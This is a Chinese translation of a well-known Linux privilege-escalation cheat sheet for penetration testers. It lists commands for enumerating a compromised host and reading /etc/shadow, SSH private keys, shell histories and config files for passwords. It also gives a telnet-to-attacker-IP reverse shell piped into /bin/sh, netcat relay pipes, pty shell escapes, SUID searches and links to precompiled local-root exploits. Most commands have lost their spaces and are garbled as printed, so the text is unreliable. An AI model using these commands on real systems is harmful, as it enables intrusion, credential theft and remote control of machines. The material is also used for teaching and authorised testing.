(Linux)的提权是怎么一回事:
收集–枚举,枚举和一些更多的枚举。过程–通过数据排序,分析和确定优先次序。搜索–知道搜索什么和在哪里可以找到漏洞代码。适应–自定义的漏洞,所以它适合。每个系统的工作并不是每一个漏洞“都固定不变”。尝试–做好准备,试验和错误。
系统类型
系统是什么版本?
cat/etc/issuecat/etc/*-releasecat/etc/lsb-releasecat/etc/redhat-release
它的内核版本是什么?
cat/proc/versionuname-auname-mrsrpm-qkerneldmesg|grepLinuxls/boot|grepvmlinuz
它的环境变量里有些什么?
cat/etc/profilecat/etc/bashrccat~/.bash_profilecat~/.bashrccat~/.bash_logoutenvset
是否有台打印机?
lpstat-a
应用与服务
正在运行什么服务?什么样的服务具有什么用户权限?
psauxps-eftopcat/etc/service
哪些服务具有root的权限?这些服务里你看起来那些有漏洞,进行再次检查!
psaux|greprootps-ef|greproot
安装了哪些应用程序?他们是什么版本?哪些是当前正在运行的?
ls-alh/usr/bin/ls-alh/sbin/dpkg-lrpm-qals-alh/var/cache/apt/archivesOls-alh/var/cache/yum/
Service设置,有任何的错误配置吗?是否有任何(脆弱的)的插件?
cat/etc/syslog.confcat/etc/chttp.confcat/etc/lighttpd.confcat/etc/cups/cupsd.confcat/etc/inetd.confcat/etc/apache2/apache2.confcat/etc/my.confcat/etc/httpd/conf/httpd.confcat/opt/lampp/etc/httpd.confls-aRl/etc/|awk‘$1~/^.*r.*/
主机上有哪些工作计划?
crontab-lls-alh/var/spool/cronls-al/etc/|grepcronls-al/etc/cron*cat/etc/cron*cat/etc/at.allowcat/etc/at.denycat/etc/cron.allowcat/etc/cron.denycat/etc/crontabcat/etc/anacrontabcat/var/spool/cron/crontabs/root
主机上可能有哪些纯文本用户名和密码?
grep-iuser[filename]grep-ipass[filename]grep-C5"password"[filename]find.-name"*.php"-print0|xargs-0grep-i-n"var$password"#Joomla
通信与网络
NIC(s),系统有哪些?它是连接到哪一个网络?
/sbin/ifconfig-acat/etc/network/interfacescat/etc/sysconfig/network
网络配置设置是什么?网络中有什么样的服务器?DHCP服务器?DNS服务器?网关?
cat/etc/resolv.confcat/etc/sysconfig/networkcat/etc/networksiptables-Lhostnamednsdomainname
其他用户主机与系统的通信?
lsof-ilsof-i:80grep80/etc/servicesnetstat-antupnetstat-antpxnetstat-tulpnchkconfig--listchkconfig--list|grep3:onlastw
缓存?IP和/或MAC地址?
arp-eroute/sbin/route-nee
数据包可能嗅探吗?可以看出什么?监听流量
#tcpdumptcpdst[ip][port]andtcpdst[ip][port]tcpdumptcpdst192.168.1.780andtcpdst10.2.2.22221
你如何get一个shell?你如何与系统进行交互?
#http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/nc-lvp4444#Attacker.输入(命令)nc-lvp4445#Attacker.输出(结果)telnet[atackersip]44444|/bin/sh|[localip]44445#在目标系统上.使用攻击者的IP!
如何端口转发?(端口重定向)
# rinetd
#http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch
# fpipe
#FPipe.exe-l[localport]-r[remoteport]-s[localport][localIP]FPipe.exe-l80-r80-s80192.168.1.7
#ssh
#ssh-[L/R][localport]:[remoteip]:[remoteport][localuser]@[localip]ssh-L8080:127.0.0.1:80root@192.168.1.7#LocalPortssh-R8080:127.0.0.1:80root@192.168.1.7#RemotePort
#mknod
#mknodbackpipep;nc-l-p[remoteport]<backpipe|nc[localIP][localport]>backpipemknodbackpipep;nc-l-p8080<backpipe|nc10.1.1.25180>backpipe#PortRelaymknodbackpipep;nc-l-p80800&<backpipe|tee-ainflow|nclocalhost80|tee-aoutflow1>backpipe#Proxy(Port80to8080)
mknod
backpipep;nc-l-p80800&<backpipe|tee-ainflow|nclocalhost80|tee-aoutflow&1>backpipe#Proxymonitor(Port80to8080)
建立隧道可能吗?本地,远程发送命令
ssh-D127.0.0.1:9050-N[username]@[ip]proxychainsifconfig
秘密信息和用户
你是谁?哪个id登录?谁已经登录?还有谁在这里?谁可以做什么呢?
idwhowlastcat/etc/passwd|cut-d:#Listofusersgrep-v-E"^#"/etc/passwd|awk-F:'$3==0{print$1}'#Listofsuperusersawk-F:'($3=="0"){print}'/etc/passwd#Listofsuperuserscat/etc/sudoerssudo-l
可以找到什么敏感文件?
cat/etc/passwdcat/etc/groupcat/etc/shadowls-alh/var/mail/
什么有趣的文件在home/directorie(S)里?如果有权限访问
ls-ahlR/root/ls-ahlR/home/
是否有任何密码,脚本,数据库,配置文件或日志文件?密码默认路径和位置
cat/var/apache2/config.inccat/var/lib/mysql/mysql/user.MYDcat/root/anaconda-ks.cfg
用户做过什么?是否有任何密码呢?他们有没有编辑什么?
cat~/.bash_historycat~/.nano_historycat~/.atftp_historycat~/.mysql_historycat~/.php_history
可以找到什么样的用户信息
cat~/.bashrccat~/.profilecat/var/mail/rootcat/var/spool/mail/root
private-key 信息能否被发现?
cat~/.ssh/authorized_keyscat~/.ssh/identity.pubcat~/.ssh/identitycat~/.ssh/id_rsa.pubcat~/.ssh/id_rsacat~/.ssh/id_dsa.pubcat~/.ssh/id_dsacat/etc/ssh/ssh_configcat/etc/ssh/sshd_configcat/etc/ssh/ssh_host_dsa_key.pubcat/etc/ssh/ssh_host_dsa_keycat/etc/ssh/ssh_host_rsa_key.pubcat/etc/ssh/ssh_host_rsa_keycat/etc/ssh/ssh_host_key.pubcat/etc/ssh/ssh_host_key
文件系统
哪些用户可以写配置文件在/ etc /?能够重新配置服务?
ls-aRl/etc/|awk‘$1~/^.*w.*/'2>/dev/null#Anyonels-aRl/etc/|awk’$1~/^..w/'2>/dev/null#Ownerls-aRl/etc/|awk‘$1~/^.....w/'2>/dev/null#Groupls-aRl/etc/|awk’;$1~/w.$/'2>/dev/null#Otherfind/etc/-readable-typef2>/dev/null#Anyonefind/etc/-readable-typef-maxdepth12>/dev/null#Anyone
在/ var /有什么可以发现?
ls-alh/var/logls-alh/var/maills-alh/var/spoolls-alh/var/spool/lpdls-alh/var/lib/pgsqlls-alh/var/lib/mysqlcat/var/lib/dhcp3/dhclient.leases
网站上的任何隐藏配置/文件?配置文件与数据库信息?
ls-alhR/var/www/ls-alhR/srv/www/htdocs/ls-alhR/usr/local/www/apache22/data/ls-alhR/opt/lampp/htdocs/ls-alhR/var/www/html/
有什么在日志文件里?(什么能够帮助到“本地文件包含”?)
#http://www.thegeekstuff.com/2011/08/linux-var-log-files/cat/etc/httpd/logs/access_logcat/etc/httpd/logs/access.logcat/etc/httpd/logs/error_logcat/etc/httpd/logs/error.logcat/var/log/apache2/access_logcat/var/log/apache2/access.logcat/var/log/apache2/error_logcat/var/log/apache2/error.logcat/var/log/apache/access_logcat/var/log/apache/access.logcat/var/log/auth.logcat/var/log/chttp.logcat/var/log/cups/error_logcat/var/log/dpkg.logcat/var/log/faillogcat/var/log/httpd/access_logcat/var/log/httpd/access.logcat/var/log/httpd/error_logcat/var/log/httpd/error.logcat/var/log/lastlogcat/var/log/lighttpd/access.logcat/var/log/lighttpd/error.logcat/var/log/lighttpd/lighttpd.access.logcat/var/log/lighttpd/lighttpd.error.logcat/var/log/messagescat/var/log/securecat/var/log/syslogcat/var/log/wtmpcat/var/log/xferlogcat/var/log/yum.logcat/var/run/utmpcat/var/webmin/miniserv.logcat/var/www/logs/access_logcat/var/www/logs/access.logls-alh/var/lib/dhcp3/ls-alh/var/log/postgresql/ls-alh/var/log/proftpd/ls-alh/var/log/samba/#
auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info,
mail.log, mail.warn, messages, syslog, udev, wtmp(有什么文件?log.系统引导……)
如果命令限制,你可以打出哪些突破它的限制?
python-c'importpty;pty.spawn("/bin/bash")'echoos.system('/bin/bash')/bin/sh-i
如何安装文件系统?
mountdf-h
是否有挂载的文件系统?
cat/etc/fstab
什么是高级Linux文件权限使用?Sticky bits, SUID 和GUID
find/-perm-1000-typed2>/dev/null#Stickybit-Onlytheownerofthedirectoryortheownerofafilecandeleteorrenameherefind/-perm-g=s-typef2>/dev/null#SGID(chmod2000)-runasthegroup,nottheuserwhostartedit.find/-perm-u=s-typef2>/dev/null#SUID(chmod4000)-runastheowner,nottheuserwhostartedit.find/-perm-g=s-o-perm-u=s-typef2>/dev/null#SGIDorSUIDforiin`locate-r"bin$"`;dofind$i(-perm-4000-o-perm-2000)-typef2>/dev/null;done#Looksin'common'places:/bin,/sbin,/usr/bin,/usr/sbin,/usr/local/bin,/usr/local/sbinandanyother*bin,forSGIDorSUID(Quickersearch)#findstartingatroot(/),SGIDorSUID,notSymboliclinks,only3foldersdeep,listwithmoredetailandhideanyerrors(e.g.permissiondenied)find/-perm-g=s-o-perm-4000!-typel-maxdepth3-execls-ld{};2>/dev/null
在哪些目录可以写入和执行呢?几个“共同”的目录:/ tmp目录,/var / tmp目录/ dev /shm目录
find/-writable-typed2>/dev/null#world-writeablefoldersfind/-perm-222-typed2>/dev/null#world-writeablefoldersfind/-perm-o+w-typed2>/dev/null#world-writeablefoldersfind/-perm-o+x-typed2>/dev/null#world-executablefoldersfind/(-perm-o+w-perm-o+x)-typed2>/dev/null#world-writeable&executablefoldersAny"problem"files?可写的的,“没有使用"的文件find/-xdev-typed(-perm-0002-a!-perm-1000)-print#world-writeablefilesfind/dir-xdev(-nouser-o-nogroup)-print#Noownerfiles
准备和查找漏洞利用代码
安装了什么开发工具/语言/支持?
find/-nameperl*find/-namepython*find/-namegcc*find/-namecc
如何上传文件?
find/-namewgetfind/-namenc*find/-namenetcat*find/-nametftp*find/-nameftp
查找exploit代码
http://www.exploit-db.com
http://1337day.com
http://www.securiteam.com
http://www.securityfocus.com
http://www.exploitsearch.net
http://metasploit.com/modules/
http://securityreason.com
http://seclists.org/fulldisclosure/
http://www.google.com
查找更多有关漏洞的信息
http://www.cvedetails.com
http://packetstormsecurity.org/files/cve/[CVE]
http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]]http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]
http://www.vulnview.com/cve-details.php?cvename=[CVE]]http://www.vulnview.com/cve-details.php?cvename=[CVE]
http://www.91ri.org/
(快速)“共同的“exploit,预编译二进制代码文件
http://tarantula.by.ru/localroot/
http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/
上面的信息很难吗?
快去使用第三方脚本/工具来试试吧!
系统怎么打内核,操作系统,所有应用程序,插件和Web服务的最新补丁?
apt-getupdate&&apt-getupgradeyumupdate
服务运行所需的最低的权限?
例如,你需要以root身份运行MySQL?
能够从以下网站找到自动运行的脚本?!
http://pentestmonkey.net/tools/unix-privesc-check/
http://labs.portcullis.co.uk/application/enum4linux/
http://bastille-linux.sourceforge.net
(快速)指南和链接
例如
http://www.0daysecurity.com/penetration-testing/enumeration.html
http://www.microloft.co.uk/hacking/hacking3.htm
其他
http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf
http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdf
http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html
文章中文来源:?http://www.91ri.org/7459.html
英文原文:http://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/